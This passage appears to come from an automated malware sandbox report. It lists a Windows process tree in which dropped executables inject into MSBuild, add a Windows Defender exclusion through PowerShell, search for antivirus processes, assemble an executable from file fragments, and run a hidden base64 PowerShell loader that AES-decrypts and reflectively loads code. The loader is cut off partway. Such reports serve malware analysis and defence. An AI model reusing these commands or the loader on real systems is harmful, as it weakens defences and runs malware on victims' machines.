                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5320,i,13559596931761033570,13795059493187618874,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=5336 /prefetch:8
                                                                            11⤵
                                                                              PID:3672
                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5564,i,13559596931761033570,13795059493187618874,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=5580 /prefetch:8
                                                                              11⤵
                                                                                PID:1908
                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5584,i,13559596931761033570,13795059493187618874,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=5672 /prefetch:8
                                                                                11⤵
                                                                                  PID:5940
                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5612,i,13559596931761033570,13795059493187618874,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=5728 /prefetch:8
                                                                                  11⤵
                                                                                    PID:4532
                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5396,i,13559596931761033570,13795059493187618874,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=5588 /prefetch:8
                                                                                    11⤵
                                                                                      PID:5640
                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5648,i,13559596931761033570,13795059493187618874,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=5644 /prefetch:8
                                                                                      11⤵
                                                                                        PID:4292
                                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory="Default"
                                                                                      10⤵
                                                                                      • Uses browser remote debugging
                                                                                      • Enumerates system info in registry
                                                                                      • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
                                                                                      • Suspicious use of FindShellTrayWindow
                                                                                      PID:3200
                                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.99 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.69 --initial-client-data=0x23c,0x240,0x244,0x238,0x24c,0x7fff4d1df208,0x7fff4d1df214,0x7fff4d1df220
                                                                                        11⤵
                                                                                          PID:1988
                                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --always-read-main-dll --field-trial-handle=1912,i,10889324187578198001,4985843883541995693,262144 --variations-seed-version --mojo-platform-channel-handle=2256 /prefetch:3
                                                                                          11⤵
                                                                                            PID:3672
                                                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --always-read-main-dll --field-trial-handle=2220,i,10889324187578198001,4985843883541995693,262144 --variations-seed-version --mojo-platform-channel-handle=2216 /prefetch:2
                                                                                            11⤵
                                                                                              PID:2068
                                                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --always-read-main-dll --field-trial-handle=2444,i,10889324187578198001,4985843883541995693,262144 --variations-seed-version --mojo-platform-channel-handle=3012 /prefetch:8
                                                                                              11⤵
                                                                                                PID:4668
                                                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=3560,i,10889324187578198001,4985843883541995693,262144 --variations-seed-version --mojo-platform-channel-handle=3604 /prefetch:1
                                                                                                11⤵
                                                                                                • Uses browser remote debugging
                                                                                                PID:2912
                                                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --instant-process --pdf-upsell-enabled --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=3576,i,10889324187578198001,4985843883541995693,262144 --variations-seed-version --mojo-platform-channel-handle=3608 /prefetch:1
                                                                                                11⤵
                                                                                                • Uses browser remote debugging
                                                                                                PID:4740
                                                                                            • C:\ProgramData\zcjmoppph4.exe
                                                                                              "C:\ProgramData\zcjmoppph4.exe"
                                                                                              10⤵
                                                                                              • Executes dropped EXE
                                                                                              • Suspicious use of SetThreadContext
                                                                                              PID:6400
                                                                                              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                                                                                                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                                                                                                11⤵
                                                                                                  PID:6556
                                                                                                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                                                                                                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                                                                                                  11⤵
                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                                  PID:6636
                                                                                              • C:\ProgramData\26x4wtrim7.exe
                                                                                                "C:\ProgramData\26x4wtrim7.exe"
                                                                                                10⤵
                                                                                                  PID:5124
                                                                                                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                                                                                                    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                                                                                                    11⤵
                                                                                                      PID:6812
                                                                                                      • C:\Users\Admin\AppData\Roaming\c3vwOOmz1M.exe
                                                                                                        "C:\Users\Admin\AppData\Roaming\c3vwOOmz1M.exe"
                                                                                                        12⤵
                                                                                                          PID:4848
                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe"
                                                                                                            13⤵
                                                                                                              PID:5952
                                                                                                          • C:\Users\Admin\AppData\Roaming\iH66ff4MSI.exe
                                                                                                            "C:\Users\Admin\AppData\Roaming\iH66ff4MSI.exe"
                                                                                                            12⤵
                                                                                                              PID:6772
                                                                                                        • C:\ProgramData\2dba1dbsrq.exe
                                                                                                          "C:\ProgramData\2dba1dbsrq.exe"
                                                                                                          10⤵
                                                                                                            PID:2556
                                                                                                            • C:\Users\Admin\AppData\Local\Temp\lt0Edgvx\ZcA91yJLSNmR6Rzg.exe
                                                                                                              C:\Users\Admin\AppData\Local\Temp\lt0Edgvx\ZcA91yJLSNmR6Rzg.exe 0
                                                                                                              11⤵
                                                                                                                PID:1908
                                                                                                                • C:\Users\Admin\AppData\Local\Temp\lt0Edgvx\PUts9JtC9a8mmFN1.exe
                                                                                                                  C:\Users\Admin\AppData\Local\Temp\lt0Edgvx\PUts9JtC9a8mmFN1.exe 1908
                                                                                                                  12⤵
                                                                                                                    PID:6924
                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 6924 -s 980
                                                                                                                      13⤵
                                                                                                                      • Program crash
                                                                                                                      PID:9788
                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 1908 -s 2228
                                                                                                                    12⤵
                                                                                                                    • Program crash
                                                                                                                    PID:17536
                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                "C:\Windows\system32\cmd.exe" /c timeout /t 11 & rd /s /q "C:\ProgramData\hdbsj" & exit
                                                                                                                10⤵
                                                                                                                  PID:9660
                                                                                                                  • C:\Windows\SysWOW64\timeout.exe
                                                                                                                    timeout /t 11
                                                                                                                    11⤵
                                                                                                                    • Delays execution with timeout.exe
                                                                                                                    PID:1456
                                                                                                            • C:\Users\Admin\AppData\Local\Temp\10028410101\alex12312321.exe
                                                                                                              "C:\Users\Admin\AppData\Local\Temp\10028410101\alex12312321.exe"
                                                                                                              8⤵
                                                                                                              • Executes dropped EXE
                                                                                                              • Suspicious use of SetThreadContext
                                                                                                              PID:404
                                                                                                              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                                                                                                                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                                                                                                                9⤵
                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                PID:5288
                                                                                                            • C:\Users\Admin\AppData\Local\Temp\10042990101\bot.exe
                                                                                                              "C:\Users\Admin\AppData\Local\Temp\10042990101\bot.exe"
                                                                                                              8⤵
                                                                                                              • Executes dropped EXE
                                                                                                              PID:4452
                                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                powershell -Command "Try { Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Roaming\BExplorer\" -Force -ErrorAction Stop } Catch { exit 0 }"
                                                                                                                9⤵
                                                                                                                • Command and Scripting Interpreter: PowerShell
                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                PID:4492
                                                                                                              • C:\Users\Admin\AppData\Roaming\BExplorer\bot.exe
                                                                                                                C:\Users\Admin\AppData\Roaming\BExplorer\bot.exe
                                                                                                                9⤵
                                                                                                                • Executes dropped EXE
                                                                                                                PID:5612
                                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                  powershell -Command "Try { Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Roaming\BExplorer\" -Force -ErrorAction Stop } Catch { exit 0 }"
                                                                                                                  10⤵
                                                                                                                  • Command and Scripting Interpreter: PowerShell
                                                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                  PID:4532
                                                                                                            • C:\Users\Admin\AppData\Local\Temp\10045380101\legendarik.exe
                                                                                                              "C:\Users\Admin\AppData\Local\Temp\10045380101\legendarik.exe"
                                                                                                              8⤵
                                                                                                              • Executes dropped EXE
                                                                                                              • Suspicious use of SetThreadContext
                                                                                                              PID:3440
                                                                                                              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                                                                                                                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                                                                                                                9⤵
                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                PID:5984
                                                                                                            • C:\Users\Admin\AppData\Local\Temp\10046340101\f338906a94.exe
                                                                                                              "C:\Users\Admin\AppData\Local\Temp\10046340101\f338906a94.exe"
                                                                                                              8⤵
                                                                                                              • Checks computer location settings
                                                                                                              • Executes dropped EXE
                                                                                                              • Drops file in Windows directory
                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                              PID:3168
                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                "C:\Windows\System32\cmd.exe" /c copy Bc.wbk Bc.wbk.bat & Bc.wbk.bat
                                                                                                                9⤵
                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                PID:452
                                                                                                                • C:\Windows\SysWOW64\tasklist.exe
                                                                                                                  tasklist
                                                                                                                  10⤵
                                                                                                                  • Enumerates processes with tasklist
                                                                                                                  PID:8728
                                                                                                                • C:\Windows\SysWOW64\findstr.exe
                                                                                                                  findstr /I "opssvc wrsa"
                                                                                                                  10⤵
                                                                                                                    PID:5692
                                                                                                                  • C:\Windows\SysWOW64\tasklist.exe
                                                                                                                    tasklist
                                                                                                                    10⤵
                                                                                                                    • Enumerates processes with tasklist
                                                                                                                    PID:644
                                                                                                                  • C:\Windows\SysWOW64\findstr.exe
                                                                                                                    findstr "SophosHealth bdservicehost AvastUI AVGUI nsWscSvc ekrn"
                                                                                                                    10⤵
                                                                                                                      PID:7536
                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                      cmd /c md 674187
                                                                                                                      10⤵
                                                                                                                        PID:7416
                                                                                                                      • C:\Windows\SysWOW64\extrac32.exe
                                                                                                                        extrac32 /Y /E Funky.wbk
                                                                                                                        10⤵
                                                                                                                          PID:8180
                                                                                                                        • C:\Windows\SysWOW64\findstr.exe
                                                                                                                          findstr /V "Und" Tournament
                                                                                                                          10⤵
                                                                                                                            PID:7572
                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                            cmd /c copy /b 674187\Constraints.com + Lu + Pepper + Cn + Hairy + Nose + Providence + Bra + Corresponding + Promo + Ending 674187\Constraints.com
                                                                                                                            10⤵
                                                                                                                              PID:2224
                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                              cmd /c copy /b ..\Losses.wbk + ..\Finally.wbk + ..\Medications.wbk + ..\Borough.wbk + ..\Trim.wbk + ..\Ellis.wbk + ..\Truly.wbk + ..\Was.wbk r
                                                                                                                              10⤵
                                                                                                                                PID:5188
                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\674187\Constraints.com
                                                                                                                                Constraints.com r
                                                                                                                                10⤵
                                                                                                                                  PID:9320
                                                                                                                                • C:\Windows\SysWOW64\choice.exe
                                                                                                                                  choice /d y /t 5
                                                                                                                                  10⤵
                                                                                                                                    PID:4736
                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\10047850101\crypted.exe
                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\10047850101\crypted.exe"
                                                                                                                                8⤵
                                                                                                                                  PID:8444
                                                                                                                                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                                                                                                                                    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                                                                                                                                    9⤵
                                                                                                                                      PID:8440
                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\10049080101\de98d58d0a.exe
                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\10049080101\de98d58d0a.exe"
                                                                                                                                    8⤵
                                                                                                                                      PID:22412
                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\svchost015.exe
                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\10049080101\de98d58d0a.exe"
                                                                                                                                        9⤵
                                                                                                                                          PID:9812
                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\10049090101\8089462d36.exe
                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\10049090101\8089462d36.exe"
                                                                                                                                        8⤵
                                                                                                                                          PID:24176
                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\svchost015.exe
                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\10049090101\8089462d36.exe"
                                                                                                                                            9⤵
                                                                                                                                              PID:24376
                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\10422880101\1ptwY06.exe
                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\10422880101\1ptwY06.exe"
                                                                                                                                        6⤵
                                                                                                                                        • Executes dropped EXE
                                                                                                                                        PID:3148
                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\10423010101\d2eIuxD.exe
                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\10423010101\d2eIuxD.exe"
                                                                                                                                        6⤵
                                                                                                                                        • Executes dropped EXE
                                                                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                                                        • Suspicious use of SetWindowsHookEx
                                                                                                                                        PID:4820
                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\10423251121\izP7K34.cmd"
                                                                                                                                        6⤵
                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                        PID:5624
                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                          C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\10423251121\izP7K34.cmd"
                                                                                                                                          7⤵
                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                          PID:6284
                                                                                                                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('DQoNCiR2bWVhcnAgPSBAJw0KJHVzZXJ4Z3dOYW1lIHhndz0gJGVueGd3djpVU0V4Z3dSTkFNRXhndzskdGlzeGd3ID0gIkN4Z3c6XFVzZXhnd3JzXCR1eGd3c2VyTmF4Z3dtZVxkd3hnd20uYmF0eGd3IjtpZiB4Z3coVGVzdHhndy1QYXRoeGd3ICR0aXN4Z3cpIHsgIHhndyAgV3JpeGd3dGUtSG94Z3dzdCAiQnhnd2F0Y2ggeGd3ZmlsZSB4Z3dmb3VuZHhndzogJHRpeGd3cyIgLUZ4Z3dvcmVncnhnd291bmRDeGd3b2xvciB4Z3dDeWFuO3hndyAgICAkeGd3ZmlsZUx4Z3dpbmVzIHhndz0gW1N5eGd3c3RlbS54Z3dJTy5GaXhnd2xlXTo6eGd3UmVhZEF4Z3dsbExpbnhnd2VzKCR0eGd3aXMsIFt4Z3dTeXN0ZXhnd20uVGV4eGd3dC5FbmN4Z3dvZGluZ3hnd106OlVUeGd3RjgpOyB4Z3cgICBmb3hnd3JlYWNoeGd3ICgkbGl4Z3duZSBpbnhndyAkZmlseGd3ZUxpbmV4Z3dzKSB7IHhndyAgICAgeGd3ICBpZiB4Z3coJGxpbnhnd2UgLW1heGd3dGNoICd4Z3deOjo6IHhndz8oLispeGd3JCcpIHt4Z3cgICAgIHhndyAgICAgeGd3ICBXcml4Z3d0ZS1Ib3hnd3N0ICJJeGd3bmplY3R4Z3dpb24gY3hnd29kZSBkeGd3ZXRlY3R4Z3dlZCBpbnhndyB0aGUgeGd3YmF0Y2h4Z3cgZmlsZXhndy4iIC1GeGd3b3JlZ3J4Z3dvdW5kQ3hnd29sb3IgeGd3Q3lhbjt4Z3cgICAgIHhndyAgICAgeGd3ICB0cnl4Z3cgeyAgIHhndyAgICAgeGd3ICAgICB4Z3cgICAkZHhnd2Vjb2RleGd3ZEJ5dGV4Z3dzID0gW3hnd1N5c3RleGd3bS5Db254Z3d2ZXJ0XXhndzo6RnJveGd3bUJhc2V4Z3c2NFN0cnhnd2luZygkeGd3bWF0Y2h4Z3dlc1sxXXhndy5UcmlteGd3KCkpOyB4Z3cgICAgIHhndyAgICAgeGd3ICAgICB4Z3ckaW5qZXhnd2N0aW9ueGd3Q29kZSB4Z3c9IFtTeXhnd3N0ZW0ueGd3VGV4dC54Z3dFbmNvZHhnd2luZ106eGd3OlVuaWN4Z3dvZGUuR3hnd2V0U3RyeGd3aW5nKCR4Z3dkZWNvZHhnd2VkQnl0eGd3ZXMpOyB4Z3cgICAgIHhndyAgICAgeGd3ICAgICB4Z3dXcml0ZXhndy1Ib3N0eGd3ICJJbmp4Z3dlY3Rpb3hnd24gY29keGd3ZSBkZWN4Z3dvZGVkIHhnd3N1Y2NleGd3c3NmdWx4Z3dseS4iIHhndy1Gb3JleGd3Z3JvdW54Z3dkQ29sb3hnd3IgR3JleGd3ZW47ICB4Z3cgICAgIHhndyAgICAgeGd3ICAgIFd4Z3dyaXRlLXhnd0hvc3QgeGd3IkV4ZWN4Z3d1dGluZ3hndyBpbmpleGd3Y3Rpb254Z3cgY29kZXhndy4uLiIgeGd3LUZvcmV4Z3dncm91bnhnd2RDb2xveGd3ciBZZWx4Z3dsb3c7IHhndyAgICAgeGd3ICAgICB4Z3cgICAgIHhnd0ludm9reGd3ZS1FeHB4Z3dyZXNzaXhnd29uICRpeGd3bmplY3R4Z3dpb25Db3hnd2RlOyAgeGd3ICAgICB4Z3cgICAgIHhndyAgICBieGd3cmVhazt4Z3cgICAgIHhndyAgICAgeGd3ICB9IGN4Z3dhdGNoIHhnd3sgICAgeGd3ICAgICB4Z3cgICAgIHhndyAgV3JpeGd3dGUtSG94Z3dzdCAiRXhnd3Jyb3IgeGd3ZHVyaW54Z3dnIGRlY3hnd29kaW5neGd3IG9yIGV4Z3d4ZWN1dHhnd2luZyBpeGd3bmplY3R4Z3dpb24gY3hnd29kZTogeGd3JF8iIC14Z3dGb3JlZ3hnd3JvdW5keGd3Q29sb3J4Z3cgUmVkO3hndyAgICAgeGd3ICAgICB4Z3cgIH07IHhndyAgICAgeGd3ICB9OyB4Z3cgICB9O3hnd30gZWxzeGd3ZSB7ICB4Z3cgICAgV3hnd3JpdGUteGd3SG9zdCB4Z3ciU3lzdHhnd2VtIEVyeGd3cm9yOiB4Z3dCYXRjaHhndyBmaWxleGd3IG5vdCB4Z3dmb3VuZHhndzogJHRpeGd3cyIgLUZ4Z3dvcmVncnhnd291bmRDeGd3b2xvciB4Z3dSZWQ7IHhndyAgIGV4eGd3aXQ7fTt4Z3dmdW5jdHhnd2lvbiBweGd3c29nbCh4Z3ckcGFyYXhnd21fdmFyeGd3KXsJJGF4Z3dlc192YXhnd3I9W1N5eGd3c3RlbS54Z3dTZWN1cnhnd2l0eS5DeGd3cnlwdG94Z3dncmFwaHhnd3kuQWVzeGd3XTo6Q3J4Z3dlYXRlKHhndyk7CSRheGd3ZXNfdmF4Z3dyLk1vZHhnd2U9W1N5eGd3c3RlbS54Z3dTZWN1cnhnd2l0eS5DeGd3cnlwdG94Z3dncmFwaHhnd3kuQ2lweGd3aGVyTW94Z3dkZV06Onhnd0NCQzsJeGd3JGFlc194Z3d2YXIuUHhnd2FkZGlueGd3Zz1bU3l4Z3dzdGVtLnhnd1NlY3VyeGd3aXR5LkN4Z3dyeXB0b3hnd2dyYXBoeGd3eS5QYWR4Z3dkaW5nTXhnd29kZV06eGd3OlBLQ1N4Z3c3OwkkYXhnd2VzX3ZheGd3ci5LZXl4Z3c9W1N5c3hnd3RlbS5DeGd3b252ZXJ4Z3d0XTo6Rnhnd3JvbUJheGd3c2U2NFN4Z3d0cmluZ3hndygnVUNEeGd3ZFZ6U3Z4Z3dDMUNvOXhnd1VWb1B1eGd3RXRvVWR4Z3duNzZsQ3hndytPV0tJeGd3OG5qRGV4Z3dxTDZ4MHhndz0nKTsJeGd3JGFlc194Z3d2YXIuSXhnd1Y9W1N5eGd3c3RlbS54Z3dDb252ZXhnd3J0XTo6eGd3RnJvbUJ4Z3dhc2U2NHhnd1N0cmlueGd3ZygnK2F4Z3cvRHp3NHhnd1ZRR1g3eGd3L1J0Y0h4Z3dQQkpWd3hndz09Jyk7eGd3CSRkZWN4Z3dyeXB0b3hnd3JfdmFyeGd3PSRhZXN4Z3dfdmFyLnhnd0NyZWF0eGd3ZURlY3J4Z3d5cHRvcnhndygpOwkkeGd3cmV0dXJ4Z3duX3Zhcnhndz0kZGVjeGd3cnlwdG94Z3dyX3Zhcnhndy5UcmFueGd3c2Zvcm14Z3dGaW5hbHhnd0Jsb2NreGd3KCRwYXJ4Z3dhbV92YXhnd3IsIDAseGd3ICRwYXJ4Z3dhbV92YXhnd3IuTGVueGd3Z3RoKTt4Z3cJJGRlY3hnd3J5cHRveGd3cl92YXJ4Z3cuRGlzcHhnd29zZSgpeGd3OwkkYWV4Z3dzX3Zhcnhndy5EaXNweGd3b3NlKCl4Z3c7CSRyZXhnd3R1cm5feGd3dmFyO314Z3dmdW5jdHhnd2lvbiBzeGd3dGF4cCh4Z3ckcGFyYXhnd21fdmFyeGd3KXsJJGh4Z3dwaGM9Tnhnd2V3LU9ieGd3amVjdCB4Z3dTeXN0ZXhnd20uSU8ueGd3TWVtb3J4Z3d5U3RyZXhnd2FtKCwkeGd3cGFyYW14Z3dfdmFyKXhndzsJJGlzeGd3d2hiPU54Z3dldy1PYnhnd2plY3QgeGd3U3lzdGV4Z3dtLklPLnhnd01lbW9yeGd3eVN0cmV4Z3dhbTsJJHhnd2Zsc2l6eGd3PU5ldy14Z3dPYmplY3hnd3QgU3lzeGd3dGVtLkl4Z3dPLkNvbXhnd3ByZXNzeGd3aW9uLkd4Z3daaXBTdHhnd3JlYW0oeGd3JGhwaGN4Z3csIFtJT3hndy5Db21weGd3cmVzc2l4Z3dvbi5Db3hnd21wcmVzeGd3c2lvbk14Z3dvZGVdOnhndzpEZWNveGd3bXByZXN4Z3dzKTsJJHhnd2Zsc2l6eGd3LkNvcHl4Z3dUbygkaXhnd3N3aGIpeGd3OwkkZmx4Z3dzaXouRHhnd2lzcG9zeGd3ZSgpOwl4Z3ckaHBoY3hndy5EaXNweGd3b3NlKCl4Z3c7CSRpc3hnd3doYi5EeGd3aXNwb3N4Z3dlKCk7CXhndyRpc3doeGd3Yi5Ub0F4Z3dycmF5KHhndyk7fWZ1eGd3bmN0aW94Z3duIGhlenhnd2d4KCRweGd3YXJhbV94Z3d2YXIsJHhnd3BhcmFteGd3Ml92YXJ4Z3cpewkkbnhnd3g9W1N5eGd3c3RlbS54Z3dSZWZsZXhnd2N0aW9ueGd3LkFzc2V4Z3dtYmx5XXhndzo6KCdkeGd3YW9MJ1t4Z3ctMS4uLXhndzRdIC1qeGd3b2luICd4Z3cnKShbYnhnd3l0ZVtdeGd3XSRwYXJ4Z3dhbV92YXhnd3IpOwkkeGd3bGF6PSR4Z3dueC5Fbnhnd3RyeVBveGd3aW50Owl4Z3ckbGF6Lnhnd0ludm9reGd3ZSgkbnV4Z3dsbCwgJHhnd3BhcmFteGd3Ml92YXJ4Z3cpO30kaHhnd29zdC5VeGd3SS5SYXd4Z3dVSS5XaXhnd25kb3dUeGd3aXRsZSB4Z3c9ICR0aXhnd3M7JGxveGd3Zj1bU3l4Z3dzdGVtLnhnd0lPLkZpeGd3bGVdOjp4Z3coJ3R4ZXhnd1RsbEFkeGd3YWVSJ1t4Z3ctMS4uLXhndzExXSAteGd3am9pbiB4Z3cnJykoJHhnd3RpcykueGd3U3BsaXR4Z3coW0Vudnhnd2lyb25teGd3ZW50XTp4Z3c6TmV3THhnd2luZSk7eGd3Zm9yZWF4Z3djaCAoJHhnd3pwamxweGd3IGluICR4Z3dsb2YpIHhnd3sJaWYgeGd3KCR6cGp4Z3dscC5TdHhnd2FydHNXeGd3aXRoKCd4Z3c6OiAnKXhndykJewkJeGd3JGdxYnN4Z3c9JHpwanhnd2xwLlN1eGd3YnN0cml4Z3duZygzKXhndzsJCWJyeGd3ZWFrOwl4Z3d9fSRpdXhnd3A9W3N0eGd3cmluZ1t4Z3ddXSRncXhnd2JzLlNweGd3bGl0KCd4Z3dcJyk7JHhnd25sdD1zeGd3dGF4cCB4Z3cocHNvZ3hnd2wgKFtDeGd3b252ZXJ4Z3d0XTo6Rnhnd3JvbUJheGd3c2U2NFN4Z3d0cmluZ3hndygkaXVweGd3WzBdKSl4Z3cpOyRqZXhnd2J0PXN0eGd3YXhwICh4Z3dwc29nbHhndyAoW0NveGd3bnZlcnR4Z3ddOjpGcnhnd29tQmFzeGd3ZTY0U3R4Z3dyaW5nKHhndyRpdXBbeGd3MV0pKSl4Z3c7aGV6Z3hnd3ggJG5seGd3dCAkbnV4Z3dsbDtoZXhnd3pneCAkeGd3amVidCB4Z3coLFtzdHhnd3JpbmdbeGd3XV0gKCd4Z3clKicpKXhndzsNCidADQoNCiRybGpmcnAgPSAkdm1lYXJwIC1yZXBsYWNlICd4Z3cnLCAnJw0KDQpJbnZva2UtRXhwcmVzc2lvbiAkcmxqZnJ